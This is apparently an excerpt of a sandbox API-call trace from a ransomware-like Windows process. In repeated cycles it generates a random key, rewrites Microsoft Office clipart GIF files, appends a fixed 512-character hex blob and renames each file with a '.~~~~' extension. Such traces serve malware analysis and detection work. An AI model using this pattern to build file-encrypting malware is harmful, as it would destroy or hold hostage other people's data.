	[0121.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.170] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24116027349) returned 1
	[0121.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1b0dc30, dwHighDateTime=0x1d60e1e)) 
	[0121.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9b78
	[0121.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9b78 | out: hHeap=0x300000) returned 1
	[0121.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.171] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.171] GetLastError () returned 0x0
	[0121.171] GetLastError () returned 0x0
	[0121.171] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.171] GetLastError () returned 0x0
	[0121.172] GetLastError () returned 0x0
	[0121.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffdced, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.196] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2313, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x2313, lpOverlapped=0x0) returned 1
	[0121.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.198] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.198] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.198] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.198] CloseHandle (hObject=0x130) returned 1
	[0121.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f70a8
	[0121.198] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.~~~~")) returned 1
	[0121.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f70a8 | out: hHeap=0x300000) returned 1
	[0121.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.237] GetLastError () returned 0x0
	[0121.238] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.239] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.239] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.239] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24122914262) returned 1
	[0121.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1bcc310, dwHighDateTime=0x1d60e1e)) 
	[0121.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281dff0
	[0121.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281dff0 | out: hHeap=0x300000) returned 1
	[0121.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.240] GetLastError () returned 0x0
	[0121.240] GetLastError () returned 0x0
	[0121.240] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.240] GetLastError () returned 0x0
	[0121.241] GetLastError () returned 0x0
	[0121.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffd03, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.262] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2fd, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2fd, lpOverlapped=0x0) returned 1
	[0121.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.264] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.264] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.264] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.264] CloseHandle (hObject=0x130) returned 1
	[0121.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ba0
	[0121.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.~~~~")) returned 1
	[0121.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ba0 | out: hHeap=0x300000) returned 1
	[0121.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.265] GetLastError () returned 0x0
	[0121.266] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.267] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.267] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.267] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24125748797) returned 1
	[0121.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1cfce10, dwHighDateTime=0x1d60e1e)) 
	[0121.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e108
	[0121.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e108 | out: hHeap=0x300000) returned 1
	[0121.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.377] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.377] GetLastError () returned 0x0
	[0121.377] GetLastError () returned 0x0
	[0121.377] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.377] GetLastError () returned 0x0
	[0121.377] GetLastError () returned 0x0
	[0121.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff6f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.380] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x90c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x90c, lpOverlapped=0x0) returned 1
	[0121.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.382] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.382] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.382] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.382] CloseHandle (hObject=0x130) returned 1
	[0121.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6d10
	[0121.383] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.~~~~")) returned 1
	[0121.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6d10 | out: hHeap=0x300000) returned 1
	[0121.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.430] GetLastError () returned 0x0
	[0121.430] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.432] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.432] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.432] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24142198024) returned 1
	[0121.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1d95390, dwHighDateTime=0x1d60e1e)) 
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e1e8
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e1e8 | out: hHeap=0x300000) returned 1
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.433] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.433] GetLastError () returned 0x0
	[0121.433] GetLastError () returned 0x0
	[0121.433] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.433] GetLastError () returned 0x0
	[0121.433] GetLastError () returned 0x0
	[0121.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe9ad, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.437] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1653, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x1653, lpOverlapped=0x0) returned 1
	[0121.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.439] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.440] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.440] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.440] CloseHandle (hObject=0x130) returned 1
	[0121.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6d10
	[0121.440] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.~~~~")) returned 1
	[0121.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6d10 | out: hHeap=0x300000) returned 1
	[0121.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.442] GetLastError () returned 0x0
	[0121.442] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.443] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.443] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.444] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24143377832) returned 1
	[0121.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1dbb4f0, dwHighDateTime=0x1d60e1e)) 
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e220
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e220 | out: hHeap=0x300000) returned 1
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.445] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.445] GetLastError () returned 0x0
	[0121.445] GetLastError () returned 0x0
	[0121.445] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.445] GetLastError () returned 0x0
	[0121.445] GetLastError () returned 0x0
	[0121.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffec95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.448] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x136b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x136b, lpOverlapped=0x0) returned 1
	[0121.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.449] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.450] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.450] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.450] CloseHandle (hObject=0x130) returned 1
	[0121.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a1daa0
	[0121.450] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.~~~~")) returned 1
	[0121.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1daa0 | out: hHeap=0x300000) returned 1
